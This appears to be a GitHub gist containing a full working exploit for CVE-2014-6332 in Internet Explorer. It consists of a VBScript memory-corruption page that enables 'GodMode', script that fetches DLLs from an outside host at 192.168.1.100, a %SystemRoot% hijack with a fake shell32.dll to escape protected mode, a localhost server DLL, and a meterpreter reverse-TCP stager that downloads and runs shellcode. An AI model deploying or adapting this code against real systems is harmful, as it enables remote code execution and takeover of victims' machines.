Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save charlyborwn/f9165abe2f3bf6b08c7c8f99fc257945 to your computer and use it in GitHub Desktop.
Save charlyborwn/f9165abe2f3bf6b08c7c8f99fc257945 to your computer and use it in GitHub Desktop.
CVE-2014-6332 PoC to get shell or bypass protected mode
<html>
<head>
<!--
CVE-2014-6332 PoC to get meterpreter shell or bypass IE protected mode
- Tested on IE11 + Windows 7 64-bit
References:
- original PoC - http://www.exploit-db.com/exploits/35229/
- http://blog.trendmicro.com/trendlabs-security-intelligence/a-killer-combo-critical-vulnerability-and-godmode-exploitation-on-cve-2014-6332/
- http://security.coverity.com/blog/2014/Nov/eric-lippert-dissects-cve-2014-6332-a-19-year-old-microsoft-bug.html
- https://www.blackhat.com/docs/us-14/materials/us-14-Yu-Write-Once-Pwn-Anywhere.pdf
- http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/There-s-No-Place-Like-Localhost-A-Welcoming-Front-Door-To-Medium/ba-p/6560786#.U9v5smN5FHb
-->
<meta http-equiv="x-ua-compatible" content="IE=10">
<script language="javascript">
// get user-agent here because vbscript in IE11 has no "Navigator.UserAgent"
var userAgent = navigator.userAgent;
var oReq;
function getdll(downloadFile)
{
oReq = new XMLHttpRequest();
oReq.open("GET", "http://192.168.1.100/"+downloadFile, true);
oReq.onreadystatechange = handler;
oReq.send();
}
function handler()
{
if (oReq.readyState == 4 && oReq.status == 200) {
OnDownloadDone();
}
}
function tolocal()
{
location.href = "http://localhost:5555/stage2.html"
}
</script>
<script language="VBScript">
' local server files to get medium integrity
downloadFiles = Array("ieshell32.dll", "ielocalserver.dll", "stage2.html")
cacheRegex = Array("^ieshell32\[\d\].dll$", "^ielocalserver\[\d\].dll$", "^stage2\[\d\].htm$")
' reverse meterpreter shell files
'downloadFiles = Array("ieshell32.dll", "metp.dll")
'cacheRegex = Array("^ieshell32\[\d\].dll$", "^metp\[\d\].dll$")
Dim cacheFiles(3)
Dim downloadState
Dim pinTime
Dim oFSO
Dim oWS
Dim shell
function FindFile(path, regexFile)
FindFile = ""
For Each f in oFSO.GetFolder(path).Files
If regexFile.Test(f.Name) Then
FindFile = f.Name
Exit For
End If
Next
end function
function SearchCache(path, regexFile)
SearchCache = ""
For Each fld in oFSO.GetFolder(path).SubFolders
'If DateDiff("s", pinTime, fld.DateLastModified) >= 0 Then
filename = FindFile(path & "\" & fld.Name, regexFile)
If filename <> "" Then
SearchCache = path & "\" & fld.Name & "\" & filename
Exit For
End If
'End If
Next
end function
function loaddll()
On Error Resume Next
Set wshSystemEnv = oWS.Environment("Process")
tmpDir = oFSO.GetSpecialFolder(2)
tmpSysDir = tmpDir & "\System32"
tmpShellFile = tmpSysDir & "\shell32.dll"
oFSO.CreateFolder(tmpSysDir)
oFSO.MoveFile cacheFiles(0), tmpShellFile
mydllFile = tmpDir & "\" & downloadFiles(1)
oFSO.MoveFile cacheFiles(1), mydllFile
wshSystemEnv("MyDllPath") = mydllFile
If (UBound(downloadFiles) = 2) Then
stage2File = tmpDir & "\stage2.html"
oFSO.MoveFile cacheFiles(2), stage2File
wshSystemEnv("stage2file") = stage2File
End If
saveRoot = wshSystemEnv("SystemRoot")
wshSystemEnv("SaveSystemRoot") = saveRoot
wshSystemEnv("SystemRoot") = tmpDir
Set shell = CreateObject("Shell.Application")
' have to restore %SystemRoot% in dll, not here
oFSO.DeleteFile tmpShellFile
oFSO.DeleteFolder tmpSysDir
If (UBound(downloadFiles) = 2) Then
call tolocal()
End If
end function
Sub OnDownloadDone()
If InStr(userAgent, "NT 5.") > 0 Then
cacheDir = oWS.ExpandEnvironmentStrings("%USERPROFILE%")
cacheDir = cacheDir & "\Local Settings\Temporary Internet Files\Content.IE5"
Else
cacheDir = oWS.ExpandEnvironmentStrings("%LOCALAPPDATA%")
cacheDir = cacheDir & "\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5"
End If
Set regexFile = new regexp
regexFile.Pattern = cacheRegex(downloadState)
cacheFiles(downloadState) = SearchCache(cacheDir, regexFile)
If cacheFiles(downloadState) = "" Then
Exit Sub
End If
If downloadState = UBound(downloadFiles) Then
loaddll()
Else
downloadState = downloadState + 1
DoDownload()
End If
End Sub
Sub DoDownload()
pinTime = Now
call getdll(downloadFiles(downloadState))
End Sub
Sub runshell()
Set oFSO = CreateObject("Scripting.FileSystemObject")
Set oWS = CreateObject("WScript.Shell")
downloadState = 0
DoDownload()
End Sub
</script>
<script language="VBScript">
dim arrX()
dim arrY()
dim asize
dim incsize
dim olapPos
Begin()
function Begin()
On Error Resume Next
If (instr(userAgent,"MSIE") = 0) Then
exit function
End If
If (instr(userAgent, "Win64") > 0) Then
exit function
End If
Init()
If Exploit() = True Then
EnableGodMode()
redim Preserve arrX(asize)
runshell()
End If
end function
function Init()
Randomize()
asize = 13 + 17*rnd(6)
incsize = 7 + 3*rnd(5)
end function
function Exploit()
Exploit = False
For i = 0 To 400
asize = asize + incsize
If Trigger() = True Then
Exploit = True
Exit For
End If
Next
end function
function Trigger()
On Error Resume Next
Trigger = False
olapPos = asize + 2
ofnumele = asize + &h8000000
redim Preserve arrX(asize*2+1)
redim Preserve arrX(asize)
redim arrY(asize)
redim Preserve arrX(ofnumele)
typev = 1
arrY(0) = 1.123456789012345678901234567890
If (IsObject(arrX(olapPos-1)) = False) Then
If (VarType(arrX(olapPos-1)) <> 0) Then
If (IsObject(arrX(olapPos)) = False) Then
typev = VarType(arrX(olapPos))
End If
End If
End If
arrY(0) = 0.0
If (typev = &h2f66) And (VarType(arrX(olapPos)) = 0) Then
Trigger = True
Else
redim Preserve arrX(asize)
End If
end function
function ReadMemInt(addr)
arrY(0) = 0
arrX(olapPos) = addr+4
arrY(0) = 8
ReadMemInt = lenb(arrX(olapPos))
end function
function EnableGodMode()
i = LeakFnAddr()
i = ReadMemInt(i+8)
i = ReadMemInt(i+16)
myarray = Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uFFFF%u7FFF%u0000%u0000")
arrX(olapPos+2) = myarray
arrY(2) = 8192 + 12
EnableGodMode = False
For k=0 To &h60 step 4
j = ReadMemInt(i+&h120+k)
If (j = 14) Then
arrX(olapPos+2)(i+&h11c+k) = arrY(4)
EnableGodMode = True
Exit For
End If
Next
end function
sub dummyfn()
end sub
function LeakFnAddr()
On Error Resume Next
i = dummyfn
i = null
arrY(0) = 0
arrX(olapPos) = i
arrY(0) = 3
LeakFnAddr = arrX(olapPos)
end function
</script>
</head>
<body>
CVE-2014-6332 PoC
</body>
</html>
/*
Simple local HTTP server for IE (with no AppContainer) privilege escalation.
I implemented local server instead of proxy in Ref because
local server is easier to code. But local server is less useful then proxy.
Ref:
http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/There-s-No-Place-Like-Localhost-A-Welcoming-Front-Door-To-Medium/ba-p/6560786#.U9v5smN5FHb
Note:
From my test, by default IE does not configure intranet site.
With this default, localhost is treated as internet site (run as low integrity).
*/
#define _CRT_SECURE_NO_WARNINGS
#define WIN32_LEAN_AND_MEAN
#include <winsock2.h>
#include <stdio.h>
#include <string.h>
#pragma comment(lib, "ws2_32.lib")
#define SERVER_PORT 5555
static HANDLE hThread = NULL;
static WCHAR stage2file[256];
static SOCKET serverSk = INVALID_SOCKET;
static SOCKET peerSk = INVALID_SOCKET;
static SOCKET create_server()
{
struct sockaddr_in skAddr;
SOCKET sk;
int optval;
sk = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sk == INVALID_SOCKET)
return INVALID_SOCKET;
optval = 1;
setsockopt(sk, SOL_SOCKET, SO_REUSEADDR, (char*) &optval, sizeof(optval));
memset(&skAddr, 0, sizeof(skAddr));
skAddr.sin_family = AF_INET;
skAddr.sin_port = htons(SERVER_PORT);
skAddr.sin_addr.s_addr = inet_addr("127.0.0.1");
if (bind(sk, (struct sockaddr *) &skAddr, sizeof(skAddr)) != 0)
goto on_error;
if (listen(sk, 5) != 0)
goto on_error;
return sk;
on_error:
closesocket(sk);
return SOCKET_ERROR;
}
static int send_all(SOCKET sk, char *buffer, int size)
{
int len;
while (size > 0) {
len = send(sk, buffer, size, 0);
if (len <= 0)
return 0;
buffer += len;
size -= len;
}
return 1;
}
static int local_server()
{
int len;
int totalSize;
char buffer[4096];
HANDLE hFile = INVALID_HANDLE_VALUE;
serverSk = create_server();
if (serverSk == INVALID_SOCKET)
return SOCKET_ERROR;
while (1) {
peerSk = accept(serverSk, NULL, NULL);
if (peerSk == INVALID_SOCKET) {
continue;
}
len = recv(peerSk, buffer, sizeof(buffer), 0);
if (len <= 0)
goto closepeer;
hFile = CreateFile(stage2file, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
break;
totalSize = GetFileSize(hFile, NULL);
if (totalSize == INVALID_FILE_SIZE)
break;
len = _snprintf(buffer, sizeof(buffer),
"HTTP/1.1 200 OK\r\n"
"Content-Type: text/html\r\n"
"Connection: Close\r\n"
"Content-Length: %d\r\n"
"\r\n",
totalSize
);
send_all(peerSk, buffer, len);
while (totalSize > 0) {
ReadFile(hFile, buffer, sizeof(buffer), (DWORD*) &len, NULL);
send_all(peerSk, buffer, len);
totalSize -= len;
}
CloseHandle(hFile);
hFile = INVALID_HANDLE_VALUE;
closepeer:
closesocket(peerSk);
peerSk = INVALID_SOCKET;
}
if (hFile != INVALID_HANDLE_VALUE) {
CloseHandle(hFile);
}
if (peerSk != INVALID_SOCKET) {
closesocket(peerSk);
peerSk = INVALID_SOCKET;
}
if (serverSk != INVALID_SOCKET) {
closesocket(serverSk);
serverSk = INVALID_SOCKET;
}
return 0;
}
DWORD WINAPI threadProc(void *param)
{
WSADATA wsaData;
WSAStartup(MAKEWORD(2 ,2), &wsaData);
local_server();
WSACleanup();
DeleteFile(stage2file);
return 0;
}
void do_work()
{
GetEnvironmentVariableW(L"stage2file", stage2file, sizeof(stage2file));
hThread = CreateThread(NULL, 0, threadProc, NULL, 0, NULL);
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
do_work();
break;
case DLL_PROCESS_DETACH:
if (hThread) {
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
}
break;
}
return TRUE;
}
/*
Fake shell32.dll to be loaded after modified %SystemRoot%
*/
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
static void do_work()
{
WCHAR envBuffer[256];
GetEnvironmentVariableW(L"SaveSystemRoot", envBuffer, sizeof(envBuffer));
// restore system root
SetEnvironmentVariableW(L"SystemRoot", envBuffer);
//SetEnvironmentVariableW(L"SaveSystemRoot", NULL);
GetEnvironmentVariableW(L"MyDllPath", envBuffer, sizeof(envBuffer));
SetEnvironmentVariableW(L"MyDllPath", NULL);
// shell32.dll will be unloaded, use another dll
LoadLibraryExW(envBuffer, NULL, LOAD_WITH_ALTERED_SEARCH_PATH);
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
do_work();
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
/*
meterpreter stager
use with metasploit module exploit/multi/handler
- PAYLOAD windows/meterpreter/reverse_tcp
- EXITFUNC thread
*/
#define WIN32_LEAN_AND_MEAN
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
static HANDLE hThread = NULL;
int connect_back()
{
int payloadLen;
char *payload;
void (*func)();
struct sockaddr_in skAddr;
int len;
SOCKET sk;
WSADATA wsaData;
WSAStartup(MAKEWORD(2 ,2), &wsaData);
sk = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sk == INVALID_SOCKET)
return SOCKET_ERROR;
skAddr.sin_family = AF_INET;
skAddr.sin_port = htons(4444);
skAddr.sin_addr.s_addr = inet_addr("192.168.1.100");
if (connect(sk, (struct sockaddr *) &skAddr, sizeof(skAddr)) != 0)
return SOCKET_ERROR;
len = recv(sk, (char*)&payloadLen, 4, 0);
if (len != 4)
return -2;
payload = (char*)VirtualAlloc(NULL, payloadLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
func = (void (*)()) payload;
while (payloadLen > 0) {
len = recv(sk, payload, payloadLen, 0);
payload += len;
payloadLen -= len;
}
__asm mov edi, sk;
(func)();
return 0;
}
DWORD WINAPI threadProc(void *param)
{
connect_back();
return 0;
}
void do_work()
{
hThread = CreateThread(NULL, 0, threadProc, NULL, 0, NULL);
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
do_work();
break;
case DLL_PROCESS_DETACH:
if (hThread) {
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
}
break;
}
return TRUE;
}
<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=10">
<script language="VBScript">
Sub runshell()
Set shell = CreateObject("Shell.Application")
shell.ShellExecute "calc.exe"
End Sub
</script>
<script language="VBScript">
dim arrX()
dim arrY()
dim asize
dim incsize
dim olapPos
Begin()
function Begin()
On Error Resume Next
Init()
If Exploit() = True Then
EnableGodMode()
redim Preserve arrX(asize)
runshell()
End If
end function
function Init()
Randomize()
asize = 13 + 17*rnd(6)
incsize = 7 + 3*rnd(5)
end function
function Exploit()
Exploit = False
For i = 0 To 400
asize = asize + incsize
If Trigger() = True Then
Exploit = True
Exit For
End If
Next
end function
function Trigger()
On Error Resume Next
Trigger = False
olapPos = asize + 2
ofnumele = asize + &h8000000
redim Preserve arrX(asize*2+1)
redim Preserve arrX(asize)
redim arrY(asize)
redim Preserve arrX(ofnumele)
typev = 1
arrY(0) = 1.123456789012345678901234567890
If (IsObject(arrX(olapPos-1)) = False) Then
If (VarType(arrX(olapPos-1)) <> 0) Then
If (IsObject(arrX(olapPos)) = False) Then
typev = VarType(arrX(olapPos))
End If
End If
End If
arrY(0) = 0.0
If (typev = &h2f66) And (VarType(arrX(olapPos)) = 0) Then
Trigger = True
Else
redim Preserve arrX(asize)
End If
end function
function ReadMemInt(addr)
arrY(0) = 0
arrX(olapPos) = addr+4
arrY(0) = 8
ReadMemInt = lenb(arrX(olapPos))
end function
function EnableGodMode()
i = LeakFnAddr()
i = ReadMemInt(i+8)
i = ReadMemInt(i+16)
myarray = Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uFFFF%u7FFF%u0000%u0000")
arrX(olapPos+2) = myarray
arrY(2) = 8192 + 12
EnableGodMode = False
For k=0 To &h60 step 4
j = ReadMemInt(i+&h120+k)
If (j = 14) Then
arrX(olapPos+2)(i+&h11c+k) = arrY(4)
EnableGodMode = True
Exit For
End If
Next
end function
sub dummyfn()
end sub
function LeakFnAddr()
On Error Resume Next
i = dummyfn
i = null
arrY(0) = 0
arrX(olapPos) = i
arrY(0) = 3
LeakFnAddr = arrX(olapPos)
end function
</script>
</head>
<body>
stage2
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment